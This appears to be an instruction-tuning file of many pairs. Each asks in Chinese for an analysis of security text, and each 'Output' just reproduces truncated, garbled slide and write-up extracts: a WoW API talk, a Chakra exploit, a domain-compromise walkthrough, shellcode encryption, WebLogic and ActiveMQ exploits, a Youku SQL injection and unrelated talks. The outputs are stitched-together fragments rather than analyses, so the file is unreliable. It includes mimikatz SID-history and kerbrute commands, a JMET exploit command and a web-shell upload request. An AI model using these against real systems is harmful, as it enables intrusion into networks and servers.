Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

Subver'ng
the

World
of
Warcra4
API

by

Christopher
Mooney

James
Luedke

NDA

If
you
are
a
Blizzard
employee
or
a
Blizzard
fan‐boy
this
NDA
applies
to
you.

You

are
 forbidden
 to
 discuss
 this
 code
 with
 anyone
 else
 upon
 penalty
 of
 tar
 and

feather.

 In
 fact
 we
 have
 tested
 this
 presenta'on
 out
 on
 other
 Blizzard

employees/fan‐boys
and
their
faces
melted
oﬀ.

We
would
strongly
suggest
that
if

you
iden'fy
with
either
of
these
groups
you
leave
the
room
now.

What’s
more,

this
code
is
so
provoca've
that
to
verify
it
works
you
will
need
to
violate
your

own
companies
terms
of
service,
which
could
have
the
unfortunate
side‐eﬀect
of

imploding
the
universe.

Remember,
we
are
professionals
and
it’s
never
a
good

idea
to
cross
the
streams.

Who
Are
We?

Christopher
Mooney

>
Project
DoD
Inc.

>
University
of
Southern
Maine

>
Cryptology
and
Computer
Security

>
Gearman

>
C
So4ware
Engineer

>
High
Performance/Availability
Space

>
BTP
Code

>
Day
Jobs

James
Luedke

>
Project
DoD
Inc.

>
Gearman

>
Drizzle

>
C
So4ware
Engineer

>
High
Volume
Messaging

>
High
Performance/Availability
Space

>
BTP
Code

>
Day
Jobs

>
We
will
run
a
live
demo,

>
explain
how
the
UI
used
to
work,

>
explain
how
it
works
now,

>
brieﬂy
discuss
protected
func'on,

>
talk
about
side‐channel
aYacks,

>
discuss
how
our
code
works,

>
go
over
ways
to
use
the
code,

>
cover
the
BTP
Project,

>
and
take
ques'ons.

What

You

Can

Expect

What
is
the
World
of

Warcra4
API?

>
The
UI
for
World
of
Warcra4
is
wriYen
in
LUA.

>
LUA
is
a
Object
Oriented
scrip'ng
language.

>
Blizzard
provides
an
API
to
write
Addons.

>
In‐game
informa'on
is
exposed
through
this
API.

>
The
API
can
be
used
to
change
the
UI
appearance.

>
The
API
also
allows
you
to
aﬀect
the
environment
with

func'ons
that
can
respond
to
a
hardware
buYon
press.

How
the
UI
used
to
work

before
patch
2.0

>
Make
a
func'on
called

NukePlayer();

>
CastSpellByName(“Fireball”);

>
Mak...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

0
 KaiSong (exp-sky)
Tencent Security Xuanwu Lab
WHO AM I
CONTENTS
1Chakra vulnerability
2Bypass ASLR & DEP
3Bypass CFG
4Bypass CIG
5Bypass ACG
6Exploit
7Q&A
The vulnerability was discovered on May 31, 2016.
The vulnerability was fixed in February 2017.
NativeIntArray struct :
NativeIntArrayHead
Segment :
left
length
size
Next segment
head
Segment :
left
length
size
Next segment
Buffer
Buffer
length
NativeIntArray struct :
Make var_Array_1 object reach a special state.
Make var_Array_1->length smaller.
Make var_Array_1 object reach a special state.
Array.length < (head.next.left + head.next.length)
0x2e
< (0x03d2             + 0x2e)
Segment : head
Left:0x00000000
Length:0x00000000
Size:0x00000012
Next segment
Segment : head.next
Left:0x000003d2
Length:0x0000002e
Size:0x0000002e
Next segment
Buffer:0x00000012*4
Buffer:0x0000002e*4
NativeIntArrayHead
head
Length:0x0000002e
Make var_Array_1 object reach a special state.
Array.length < (head.next.left + head.next.length)
0x2e
< (0x03d2             + 0x2e)
Make var_Array_1 object reach a special state.
Callback function causes length to be modified.
But the ReverseHelper function still uses the old length.
Segment : head
Left:0x00000000
Length:0x00000000
Size:0x00000012
Next segment
Segment : head.next
Left:0x000003d2
Length:0x0000002e
Size:0x0000002e
Next segment
Buffer:0x00000012*4
Buffer:0x0000002e*4
NativeIntArrayHead
head
Length:0x0000002e
Make var_Array_1 object reach a special state.
Array.length < (head.next.left + head.next.length)
0x2e
< (0x03d2             + 0x2e)
step 1
Make var_Array_1->head.size smaller.
step 1
var_Array_1->head.size : 0x2e -> 0x23
var_Array_1->head.size : 0x23 < var_Array_1->head.length : 0x2e
Segment : head
Left:0x00000000
Length:0x0000002e
Size:0x00000023
Next segment
Segment : head.next
Left:0x00000023
Length:0x0000000b
Size:0x00000012
Next segment
Buffer:0x0000002e*4
Buffer:0x00000012*4
NativeIntArrayHead
head
Length:0x0000002e
step 1
var_Array_1->head.size : 0x2e -> 0x23
var_Array_1->...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

The Cavalry Year[0]
A Path Forward for Public Safety
The Cavalry Year[0]
A Path Forward for Public Safety
Joshua Corman && Nicholas J. Percoco
Our Dependance on Technology is
Growing Faster than our Ability to
Secure it.
Problem Statement:
While we struggle to secure our
organizations, connected
technologies now permeate every
aspect of our lives; in our cars, our
bodies, our homes, and our public
infrastructure.
Our Mission:
To ensure technologies with the
potential to impact public safety and
human life are worthy of our trust.
Collecting, Connecting,
Collaborating, Catalyzing
Our Approach:
Collecting existing research and
researchers towards critical mass.
Our Approach:
Connecting researchers with each
other and stakeholder in media,
policy, legal, and affected industries.
Our Approach:
Collaborating across a broad range
of background and skill sets.
Our Approach:
Catalyzing research and corrective
efforts sooner than would happen on
their own.
Our Approach:
One thing is clear…
The Cavalry Isn't Coming
It Falls To Us
One thing is clear…
The Cavalry Isn't Coming
It Falls To Us
It Falls To YOU
One thing is clear…
The Cavalry Isn't Coming
It Falls To Us
It Falls To YOU
We must be ambassadors of our profession
We must be the voice of technical literacy
We must research that which matters
We must amplify our efforts
We must escape the echo chamber
We must team with each other
Year[0] Activities
Year[0] Activities
Research
Conferences
Government
Industry
Press
Deliverables
What Worked Well
What Worked Well
•The Mission
•The problems statement, instinct & timing were right.
While pieces of this were tried before, timing
matters…
•Collecting, Connecting, Collaborating, Catalyzing
•Teamwork and collective knowledge proved
immediately useful to existing research & researchers.
E.g. in Medical & Auto
•It Takes a Guild
•Diverse, but complementary skills made us stronger -
including people from industry, from government,
and/or people less i...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

{
Breaking the x86 ISA
domas / @xoreaxeaxeax / DEF CON 2017
 Christopher Domas
 Cyber Security Researcher @
Battelle Memorial Institute
./bio
 8086: 1978
 A long, tortured history…
The x86 ISA
 Modes:
 Real (Unreal)
 Protected mode (Virtual 8086, SMM)
 Long mode (Compatibility, PAE)
x86: evolution
 Instruction sets
x86: evolution
 Modern x86 chips are a complex
labyrinth of new and ancient technologies.
 Things get lost…
 8086: 29,000 transistors
 Pentium: 3,000,000 transistors
 Braodwell: 3,200,000,000 transistors
x86: evolution
 We don’t trust software.
 We audit it
 We reverse it
 We break it
 We sandbox it
Trust.
 But the processor itself?
 We blindly trust
Trust.
 Why?
 Hardware has
all the same problems as software
 Secret functionality?
 Appendix H.
 Bugs?
 F00F, TSX, Hyperthreading.
 Vulnerabilities?
 SYSRET, cache poisoning, sinkhole
Trust.
 We should stop
blindly trusting our hardware.
Trust.
 What do we need to worry about?
 Well known from software
 Examples
Backdoors
 Hardware
 FPGAs
 Hypervisors
 Microcode
 Supply chain
Backdoors
 Could a hidden instruction
unlock your CPU?
Hidden instructions
 Historical examples
 ICEBP
 apicall
Hidden instructions
Hidden instructions
 Traditional approaches:
 Leaked documentation
 Reverse engineering software
 NDA
 But what if it’s something stealthy?
Hidden instructions
 Find out what’s really there
Goal: Audit the Processor
 How to find hidden instructions?
Approach
 Instructions can be one byte …
 inc eax
 40
 … or 15 bytes ...
 lock add qword cs:[eax + 4 * eax + 07e06df23h], 0efcdab89h
 2e 67 f0 48 818480 23df067e 89abcdef
 Somewhere on the order of
1,329,227,995,784,915,872,903,807,060,280,344,576
possible instructions
Approach
https://code.google.com/archive/p/corkami/wikis/x86oddities.wiki
 The obvious approaches don’t work:
 Try them all?
 Only works for RISC
 Try random instructions?
 Exceptionally poor coverage
 Guided based on documentation?
 Documentation can’t be trusted
(that’s the point)
 Poor coverag...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

前⾔:
由于本次靶场环境L.N.前辈给的权限是直接在内⽹的权限，所以缺少了实战中最艰难且必不可少的⼀
环，那就是⼊⼝点的获取，以下wp是模拟实战中vpn配置⽂件泄漏导致内⽹沦陷的过程
1⼊⼝点
模拟vpn配置⽂件泄漏，连接后发现分配ip如下
然后我们尝试扫描10.10.0/16段的常规端⼝和banner以及⼀些常⽤漏洞
发现简易脆弱点如下
10.10.22.161 windows rpc调⽤可能存在ssrf 配合401中继
10.10.24.52存在sql注⼊以及main.php⽂件任意写
10.10.22.44 ajp
10.10.22.67 17010 03 x86
10.10.26.151 ajp
最终选择攻击最简单的 通过fb成功上线2003server 然后⽤fgdump抓取03hash
密码没有可以解密成功的 (注意收集本地管理hash和guacadmin的hash)
此时的思路(1、⽤收集到的密码枚举⼀个域内⽤户后 利⽤CVE-2021-1675或者CVE-2021-34527直
接打dc，
或者看看有⽆可打的资源委派 2、尝试1472漏洞 3、GPP)
2golden.eagle.banking
通过kerbrute.exe对收集到的⽤户名和密码进⾏枚举--未能枚举成功
然后发现能通过1472拿下⼦域dc后发现，发现与⽗域存在双向信任关系
3eagle.banking
然后通过sid::add (参考https://mp.weixin.qq.com/s/OHbFhqyLQlx5W2W40PRoLg和haya前辈的
Mimikatz那些鲜为⼈知的功能-1 )
获取到根域权限，由于USINFDC21.eagle.banking不出⽹ 所以通过link上线
4 island.banking
island与eagle内传信任
思路1:枚举上⾯两个域的⽤户
kerbrute.exe userenum --dc 10.10.26.11 -d island.banking c:\programdata\user.txt
结果⼀个⽤户都没有
1
""privilege::debug"" ""sid::patch"" ""sid::add  /sid:S-1-5-21-1836858824-13935542
思路2:通过前期收集的guacadmin打机器(这⾥只⽤guacadmin是因为渗透过程中发现了每台机器的本
地administrator密码都不同)
思路3:-->尝试GPP 并未发现敏感xml⽂件
思路4:由于是内传信任，尝试⽤eagle认证去打island 的打印机 成功拿下island
由于靶标是⾦融敏感数据,刚好员⼯域⾥⾯的domain group ⾥⾯存在财务数据组
此时可以通过UserEvenHunter 或者拖dc 4624⽇志去查看此⽤户组的⽤户平时登陆的机器
这⾥我是拖域⽇志如下发现多个⽤户都是登陆的BFINFFL44这台机器
但是发现这台机器有df，最终bypass上线后发现此机器应该为⾦融组的员⼯共享⼯作机器
最后附上此次⽹络top图


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

Secure&Because&Math:&A&Deep1Dive&on&
Machine&Learning1Based&Monitoring&
(#SecureBecauseMath)&
Alex%Pinto%
Chief%Data%Scien2st%|%MLSec%Project%%
@alexcpsec%
@MLSecProject!
Alex%Pinto%
•  Chief%Data%Scien2st%at%MLSec%Project%
•  Machine%Learning%Researcher%and%Trainer%
•  Network%security%and%incident%response%aﬁcionado%%
•  Tortured%by%SIEMs%as%a%child%
•  Hacker%Spirit%Animal™:%CAFFEINATED%CAPYBARA!
whoami&
(hPps://secure.ﬂickr.com/photos/kobashi_san/)%
%
•  Security%Singularity%
•  Some%History%
•  TLA%
•  ML%Marke2ng%PaPerns%
•  Anomaly%Detec2on%
•  Classiﬁca2on%
•  Buyer’s%Guide%
•  MLSec%Project%
Agenda&
Security&Singularity&Approaches&
(Side&Note)&
First%hit%on%Google%images%for%“Network%Security%Solved”%is%a%
picture%of%Jack%Daniel!
Security&Singularity&Approaches&
•  “Machine%learning%/%math%/%algorithms…%these%terms%are%
used%interchangeably%quite%frequently.”%
•  “Is%behavioral%baselining%and%anomaly%detec2on%part%of%
this?”%
•  “What%about%Big%Data%Security%Analy2cs?”%
%
(hPp://bigdatapix.tumblr.com/)%
Are&we&even&trying?&
•  “Hyper`dimensional%security%
analy2cs”%
•  “3rd%genera2on%Ar2ﬁcial%
Intelligence”%
•  “Secure%because%Math”%
%
•  Lack%of%ability%to%diﬀeren2ate%
hurts%buyers,%investors.%
•  Are%we%even%funding%the%right%
things?%
Is&this&a&communicaCon&issue?&
Guess&the&Year!&
•  “(…)%behavior%analysis%system%that%enhances%your%
network%intelligence%and%security%by%audi2ng%network%
ﬂow%data%from%exis2ng%infrastructure%devices”%
•  "Mathema2cal%models%(…)%that%determine%baseline%
behavior%across%users%and%machines,%detec2ng%(...)%
anomalous%and%risky%ac2vi2es%(...)”%
•  ”(…)%maintains%historical%proﬁles%of%usage%per%user%and%
raises%an%alarm%when%observed%ac2vity%departs%from%
established%paPerns%of%usage%for%an%individual.”%%
A&liGle&history&
•  Dorothy%E.%Denning%(professor%at%the%
Department%of%Defense%Analysis%at%the%
Naval%Postgraduate%School)%
•
1986%(SRI)%`%First%research%that%led%
to%IDS%
•
Intrusion%Detec2on%Expert%System%
(IDES)%
•
Alrea...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

OPERATOR HANDBOOK
SEARCH.COPY.PASTE.L33T;)
RED TEAM + OSINT + BLUE TEAM
NETMUX
V1 [02APR2020]
2
Operator Handbook. Copyright © 2020 Netmux LLC
All rights reserved. Without limiting the rights under the
copyright reserved above, no part of this publication may be
reproduced, stored in, or introduced into a retrieval system, or
transmitted in any form or by any means (electronic, mechanical,
photocopying, recording, or otherwise) without prior written
permission.
ISBN-10: 9798605493952
Operator Handbook, Operator Handbook Logo, Netmux, and the Netmux
logo are registered trademarks of Netmux, LLC. Other product and
company names mentioned herein may be the trademarks of their
respective owners. Rather than use a trademark symbol with every
occurrence of a trademarked name, we are using the names only in an
editorial fashion and to the benefit of the trademark owner, with
no intention of infringement of the trademark.
The information in this book is distributed on an “As Is” basis,
without warranty. While every precaution has been taken in the
preparation of this work, neither the author nor Netmux LLC, shall
have any liability to any person or entity with respect to any loss
or damage caused or alleged to be caused directly or indirectly by
the information contained in it.
While every effort has been made to ensure the accuracy and
legitimacy of the references, referrals, and links (collectively
“Links”) presented in this book/ebook, Netmux is not responsible or
liable for broken Links or missing or fallacious information at the
Links. Any Links in this book to a specific product, process,
website, or service do not constitute or imply an endorsement by
Netmux of same, or its producer or provider. The views and opinions
contained at any Links do not necessarily express or reflect those
of Netmux.
3
INFOSEC TWITTER ACKNOWLEDGEMENT
@ABJtech
@Mandiant
@bmenell
@m33x
@ACKFlags
@ManuscriptMaps
@bmenrigh
@m3g9tr0n
@AGoldmund
@Ma...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

单步加解密执行shellcode
0x00 前言
国庆收假，看见这么一段代码，非常有意思。文字不太好表述代码的执行流程，如图所示：
这个图没有很多执行细节，因此并不是很准确，但是已经能够表达我的意思了。简短的说，就是 边解密
边执行 再加密，这样内存中只有很小的一部分代码是“明文”状态，其他的代码都是“密文”状态。
上图只是一个概念图，真正编写代码是细节到单条指令的，具体代码：
https://gist.github.com/jackullrich/ce3b5263e05c88548b175f4f21909384
在这段代码中，我站在新手同学角度思考，可能有以下几个地方需要理解：
typedef VOID(__stdcall* Shellcode)();
向量化异常处理（AddVectoredExceptionHandler）
详细的执行流程
其他部分都非常好理解，下面我们开始读代码，并解释以上问题。
0x01 阅读代码
我把代码拆分为几段：
第一段
Produced by AttackTeamFamily - Author: L.N. - Date: 2021-10-09
No. 1 / 7 - Welcome to www.red-team.cn
这段代码中，头文件、函数声明和全局变量，都是基础的C语言编程，不用解释，但是其中的：
这段代码，我刚学C的时候，不太理解，后来才知道被书误导了，通常我们学习typedef的时候是和
#define做对比，例如这个菜鸟教程：https://www.runoob.com/cprogramming/c-typedef.html，如
下：
C 语言提供了 typedef 关键字，您可以使用它来为类型取一个新的名字。下面的实例为单字节数
字定义了一个术语 BYTE：
在这个类型定义之后，标识符 BYTE 可作为类型 unsigned char 的缩写，例如：
这样就很难理解上面的代码了，正确的理解typedef，应该是这样的https://blog.csdn.net/weixin_4225
5385/article/details/82261774：
typedef用来声明一个别名，typedef后面的语法，是一个声明。本来笔者以为这里不会产生什么
误解的，但结果却出乎意料，产生误解的人不在少数。罪魁祸首又是那些害人的教材。在这些教材
中介绍typedef的时候通常会写出如下形式：
typedef int PARA;
这种形式跟#define int PARA几乎一样，如前面几章所述，这些教材的宗旨是由浅入深，但实际做
出来的行为却是以偏盖全。的确，这种形式在所有形式中是最简单的，但却没有对typedef进一步
解释，使得不少人用#define的思维来看待typedef，把int与PARA分开来看，int是一部分，PARA
是另一部分，但实际上根本就不是这么一回事。int与PARA是一个整体！就象int i:声明一样是一个
整体声明，只不过int i定义了一个变量，而typedef定义了一个别名。这些人由于持有这种错误的
观念，就会无法理解如下一些声明：
typedef int a[10];
typedef void (*p)(void);
他们会以为a[10]是int的别名，(*p)(void)是void的别名，但这样的别名看起来又似乎不是合法的名
字，于是陷入困惑之中。实际上，上面的语句把a声明为具有10个int元素的数组的类型别名，p是
一种函数指针的类型别名。
虽然在功能上，typedef可以看作一个跟int PARA分离的动作，但语法上typedef属于存储类声明
说明符，因此严格来说，typedef int PARA整个是一个完整的声明。
#include <Windows.h>
LONG SingleStepEncryptDecrypt(EXCEPTION_POINTERS* ExceptionInfo);
typedef VOID(__stdcall* Shellcode)();
LPBYTE ShellcodeBuffer;
ULONG_PTR PreviousOffset;
ULONG_PTR CurrentOffset;
ULONGLONG InstructionCount;
DWORD dwOld;
typedef VOID(__stdcall* Shellcode)();
typedef unsigned char BYTE;
BYTE  b1, b2;
Produced by AttackTeamFamily - Author: L.N. - Date: 2021-10-09
No. 2 / 7 - Welcome to www.red-team.cn
定义...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

Oracle WebLogic CVE-2022-21350 漏洞分析
漏洞简述
这是⼀个反序列化漏洞,是⼀条新的gadget,在低版本的JDK中可能会造成RCE⻛险。
漏洞分析
测试环境weblogic14c版本,测试JDK 1.8版本。
⾸先会调⽤BadAttributeValueExpException.readObject⽅法
接着会调⽤SessionData.toString⽅法
接着会调⽤SessionData.isDebuggingSession⽅法
接着会调⽤SessionData.getAttribute⽅法
接着会调⽤SessionData.getAttributeInternal⽅法
接着会调⽤AttributeWrapperUtils.unwrapObject⽅法
接着会调⽤AttributeWrapperUtils.unwrapEJBObjects⽅法
接着会调⽤BusinessHandleImpl.getBusinessObject⽅法
接着会调⽤HomeHandleImpl.getEJBHome⽅法
可以看到这⾥调⽤了ctx.lookup⽅法
修复建议
及时更新补丁，参考oracle官⽹发布的补丁:
https://www.oracle.com/security-alerts/cpujan2022.html


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

Hacking Cloud Product
[ Demon@n0tr00t ]
探索⼀一切、攻破⼀一切
[ Hacker@KCon ]
3
About me
• Working  on  阿里云-云平台安全
• Team  of  n0tr00t  （http://www.n0tr00t.com/）
• ID:  Demon  (微博：Demon写Demo)
• 跨界：摇滚乐、Coding、安全
Part. 01
分类和架构
4
5
云的基础架构
• 种类繁多
基础服务大同小异，每家云厂商还有自己的特色云服务
• 资源开放
按需付费、资源开放，对于安全的说法就是可控点变多，结界难以把控，安全的天秤随时会倾斜。
• 木桶原理
木桶原理被放大，致弱点容易成为致命点。
6
云产品的通⽤用架构
物理集群
Server
Portal
运维管控
实例
虚拟机
用户管理
监控系统
计费系统
资源管理
运维管理
容灾系统
网关系统
逻辑服务
控制器
调度系统
生产系统
存储系统
底层云组件
API
7
云产品的安全基⽯石 - 沙箱（SandBox）
• 沙箱的结构决定了产品持久稳固性
• avoid  be  root,  use  linux  capability
• 脚本层、容器层、用户权限层
          -脚本层：JSM、PHP  disabled  function
          -容器层：Docker、Linux  namespace、cgroup
          -用户权限隔离：最小权限原则
用户权限
容器层
脚本层
Part. 02
隐匿在结界内的隐患
8
9
结界的划分
结界外
•
控制台（portal）,  用户可管理产品
•
API服务，通过API访问操作实例方便自动化
管理实例
•
实例本身，如连接虚拟服务
器,redis,mongodb等
暗物质
•
未知模块，如一些额外的存储系统
•
游离在架构之外的服务，结界不明，难以发
现
结界内
•
业务逻辑服务，负责业务逻辑处理
•
调度服务，负责调配资源，控制链路
•
生产系统，负责生产实例，或释放实例等
•
管控系统，用于管理或监控实例
•
其他：因架构而定，如还存在一些日志组件，
下发任务模块等等
10
过度松耦合导致的隐患
•  十人传话游戏
•  多层模块分离，安全职责不明
11
攻击中间件服务
    ·∙  开源消息中间件：Kafka、ActiveMQ、RabbitMQ、OpenJMS等
    ·∙  分布式服务框架：Dubbo、zookeeper、TAF
攻击方式
      ·∙  Load  eval  Mbean  via  “getMBeansFromURL”    （http://www.n0tr00t.com/2015/04/16/JMX-RMI-Exploit.html）
      ·∙  Java  反序列化漏洞（http://blog.nsfocus.net/java-deserialization-vulnerability-overlooked-mass-destruction/）
      ·∙  XML实体注入、命令注入、未授权调用服务
12
Use  Java  Message  Exploitation  Tool  (JMET)
• Apache  ActiveMQ
• Redhat/Apache  HornetQ
• Oracle  OpenMQ
• IBM  WebSphereMQ
• Pivotal  RabbitMQ
• IIT  Software  SwiftMQ
• Apache  ActiveMQ  Artemis
• Apache  QPID  JMS
• Apache  QPID  Client
项目地址：https://github.com/matthiaskaiser/jmet
使用方法：
      >  java  -jar  jmet-0.1.0-all.jar  -Q  event  -I  ActiveMQ  -Y  xterm  127.0.0.1  61616
13
ActiveMQ  CVE-2016-3088
MOVE  /fileserver/shell.txt  HTTP/1.1
Destinatio...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

优酷主站一处 SQL 注入
注：该文档仅“Web 安全”小蜜圈交流之用，漏洞已经修复，请勿外传，如出现
法律问题，外传该文档者自行承担法律责任。
在测试上个 XSS 的时候，无意跑的，注入点在配色的这个请求包上：
然后确定的时候用 burpsuite 抓包，给 color_page_back 参数后面加了个双引号，就爆了
了 mysql 的错：
然后给后面加个*，扔进 sqlmap：
就跑出来啦~
为了证明危害，我这里还跑出来了数据库名：


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

2
u Dongsung Kim
u Graduate Student Researcher
u @kid1ng
u https://kidi.ng
u Hackers In inTrusion Laboratory
u https://hit.skku.edu
Surname
1
4
u Samsung’s smartwatch products
° Track fitness; control smart devices;
receive calls, texts, and emails; pay with NFC
° Pair phone with Bluetooth + Wi-Fi (+ LTE)
° App marketplace: Samsung Galaxy Apps
u So much sensitive information
° Contacts, calendar, location, email, notification, …
° Access to privileged resources must be controlled
Image: Samsung
5
u Samsung Gear firmware consists of:
° Tizen’s open source components
° Samsung’s closed source components
u Linux-based open source OS
° Many of Samsung’s products
° Smartwatches, smartphones,
cameras, smart TVs, home appliances, …
Image: Tizen Project, a Linux Foundation Project
6
u Ajin Abraham @ HITBSecConf
u Amihai Neiderman @ Security Analyst Summit
° 40 0-day vulnerabilities
u PVS-Studio “27 000 Errors in Tizen OS”
° 900 code errors in a portion of Tizen source code
u We focus on a smartwatch’s perspective
2
- 9 -
u Files, Directories, UNIX Sockets, Utilities
u Applications
° Use Tizen APIs to access the services
u Services
° Special privileged daemons dedicated for a resource
• e.g., Wi-Fi, Bluetooth, GPS, messaging, sensors, …
° Must reject requests from unauthorized parties
Source: Tizen Wiki
10
u App dev specifies privileges in manifest
° User accepts the permission for the app
° Installer checks and registers the privilege policy
° Accesses are controlled at the runtime
u Tizen defines many privileges
° internet, bluetooth, network.set,
screenshot, notification, email, …
° Only some of them are “Public” level
° “Partner, Platform” level disallowed for most
Source: Tizen Wiki
Image: “locked” by Jenie Tomboc / CC BY
tizen-manifest.xml
.tpk app package
On user’s
smartphone
Signed by
Store
11
u DAC (Discretionary Access Control)
° UNIX user ID + group ID policies
u SMACK (Simplified Mandatory Access
Control in Kernel)
° Kernel-space MAC
° App receives a unique la...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

DIY Nukeproofing: A New Dig at
“Data-Mining”
By 3AlarmLampscooter
DEF CON 23
Version 0.1b
@3AlarmLampscoot on twitter for updates
DIY Nukeproofing: Outline
● Why technologies like SILEX / AVLIS / MLIS
are democratizing nuclear proliferation (FUD)
● Identifying risk and requirements to mitigate it
● Getting “shovel-ready”
● Taking “data-mining” very literally
Atomic Dominoes: Baryons to Bombs
● Neutron discovered in 1932
● Fissile nuclei split when hit!
● ...and give off more neutrons
         such radiation
                                                    much explosion
very fission product
                                          wow
Pitchblende and the Manhattan
Project
● Fissile material is not naturally occurring
● ...but pitchblende is, with up to 20% U
● Enter $26B of inflation-adjusted defense
research and development during World War II
Separation Anxiety
● Mining and refining proved to be easy (sort of)
● ...enrichment, not so much.
● 13,300,000kg of Silver and
nothing to show for it
Centrifuges proved practical...
● Sort of, aside from needing 1,000s
rotating near the speed of sound
● Has remained defacto standard for enrichment
It had some wicked deliverables...
● Plutonium implosion-type
● “Fat Man” 21kt, 14lbs Pu
● Uranium gun-type
● “Little Boy” 13kt 140lbs U
Little Boy's closest survivors...
● Eizo Nomura at 170m from ground zero in the
basement of the Hiroshima Prefecture Fuel
Rationing Union
● Akiko Takakura at 300m from ground zero in
Bank of Hiroshima's Vault
Heating up the Cold War
● Teller-Ulam devices making use of tritium
● Yields as high as 50MT (USSR)
● Lots of centrifuges spinning 24/7
● Ultimately we find a Nash Equilibrium...
● tl;dr MAD for Superpowers, why aren't all dead
● A whole lot of “hot” glass caverns left at the
Nevada Test Site, data on blast protection
Loose Nukes
● Old bomb cores remain unaccounted for/lost
● Most thefts have been by small time criminals
● No recorded instances in bomb-size quantity
● Successfully ...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

PDA insecurity
Insecurity in a mobile world
Bryan Glancey
Agenda
• PocketPC Overview
– Registry
– Synchronization
– HP 5455 Biometric
issue
• Palm Overview
• General Issues
• Conclusion
PocketPC
• ActiveSync
–USB/Serial
–BlueTooth
–TCP/IP
PocketPC Toolkit
• Registry Editors
– www.pocketpcdn.com/articles/registry.html
• RedBack
– www.atstake.com/research/tools/forensics
• Snort – Airsnort
– Airsnort.shmoo.com
– www.snort.org
PocketPC Registry
• Windows Like Registry Settings
– Edit the registry remotely
– Edit it on the device
– Password Screen Control
• http://support.microsoft.com/default.aspx
?scid=kb;en-us;314989
• Interesting Values
Security Related Values
•
HKEY_LOCAL_MACHINE\Comm
•
HKEY_LOCAL_MACHINE\Drivers
•
HKEY_LOCAL_MACHINE\HARDWARE
•
HKEY_LOCAL_MACHINE\SYSTEM
•
HKEY_LOCAL_MACHINE\Init
•
HKEY_LOCAL_MACHINE\WDMDrivers
•
[HKEY_CLASES_ROOT\.cpl]
(default) = "cplfile"
[HKCR\cplfile\Shell\Open\Command]
(default) = "\Windows\ctlpnl.exe %1"
Where to get more information?
• Microsoft
–How to switch the password
screen
– Q314989 - Let Me In: Pocket PC Password
User Interface Redirect Sample
– http://support.microsoft.com/default.aspx?scid=kb;en-
us;314989
PocketPC attacks
• Activesync cradle
– Data security is unidirectional – you can
put a system password on PocketPC but
not on Laptop
• ActiveSync DOS
– http://www.irmplc.com/advisories The
(ActiveSync) service runs on TCP port
5679 and by connecting to this port and
sending…
• Removable media
Example: HP Ipaq 5455
5455 Weaknesses
• Synchronization Security
– Spontaneous Password Lapses
• http://forums.itrc.hp.com/cm/QuestionAn
swer/1,,0x504cb82b2d63d71190080090
279cd0f9,00.html
• Removable Media Security
– New definition of „Plug & Play‟
Palm
• HotSync Vulnerabilities
– NotSync
– http://www.atstake.com/research/advisories/2000/a092600-
1.txt
• PDD
Palm Toolkit
• PDD
• NotSync
• PDA Seizure
– http://www.paraben-
forensics.com/index.html
• RsrcEdit
– http://www.quartus.net/prod
ucts/rsrcedit/
– File Mana...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

VirGraf101:
An Introduction to Virtual Graffiti
Tottenkoph
What is virtual graffiti?
• Virtual objects and/or digital messages,
images, animations, etc.
• Applied to or viewable from public locations
• Can be viewed through:
– Computers
– Mobile devices
– Billboards
– Signs
– Side of buildings
What we’re covering
• History of graffiti
• Examples
• Legal concerns and implications
• Who and why?
History: Prehistoric
• Supposedly done over 30,000 years ago
• Started with cave paintings
– Used animal bone and pigments
• Debatable because:
– Used during religious ceremonies
– Sometimes endorsed by society
History: Ancient Greece
• First instance was in Ephesus
• Etched in stone and mosaics
• Supposedly a prostitution advert
• Picture of:
– Heart-shaped handprint
– Footprint
– Number
History: Ancient Rome
• Included: curses, quotes,
alphabets, declarations of
love, slogans
• Some was preserved in
Pompeii
• Most well-known:
– “suspirium puellarum
Celadus thraex”
– Address for Novellia
Primigenia of Nuceria
– “mansueta tene”
History: Misc. Pre-Modern
• Mayans at the site of Tikal in Guatemala
• Vikings in Rome, Ireland, and Constantinople
• Renaissance artists at Nero’s Domus Aurea
• Signature Rock
• French soldiers during the Napoleonic
campaign of Egypt
History: Modern Graffiti (60s-70s)
• Used mostly by political
activists and gangs
• Moved from streets to
subway systems
• Goal: out-tag and out-
bomb other artists
• Polka dots, cross-hatches,
and checkers became
popular
• Spray paint helped a lot
• “Top-to-bottoms” came
about
History: Modern Graffiti (1980s)
• Harder to be a graffiti
artist because:
– Crack
– Police
– Store owners
– Metropolitan Transit
Authority
• As a result, street and
rooftop graffiti became
more popular.
History: Modern Graffiti (2000s)
• Utilized as guerilla
advertising by companies
– IBM
– Sony
• Mainstream pop culture
started to catch on
– Video games (Jet Set Radio
Future, Rakugaki Okaku)
– Clothes design (Marc Ecko)
“Tried and...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

Verisign CONFIDENTIAL
Verisign CONFIDENTIAL
Verisign® iDefense®
Cyber Security Trends
Rick Howard, iDefense General Manager
June 22, 2011
2
How Technical Are You?
3
Agenda
Operation Aurora Impact
Stuxnet Impact
Cyber Security Disruptors
4
Learning Points
Theory Fact
5
Operation Aurora Impact
6
The Aurora Attacks – 5 Unprecedented Changes
7
The Aurora Attacks – 5 Unprecedented Changes
8
Defense Contractor
20
Smashed
The Aurora Attacks – 5 Unprecedented Changes
9
The Aurora Attacks – 5 Unprecedented Changes
10
The Aurora Attacks – 5 Unprecedented Changes
11
Moonlight Maze
Titan Rain
German Chancellor
Angela Merkel
The Aurora Attacks – 5 Unprecedented Changes
12
"We have been briefed by
Google on these allegations,
which raise very serious
concerns and questions,"
she said. We look to the
Chinese government for an
explanation."
Source: Network World: 13 Jan 2010
"We look to Chinese
authorities to conduct a
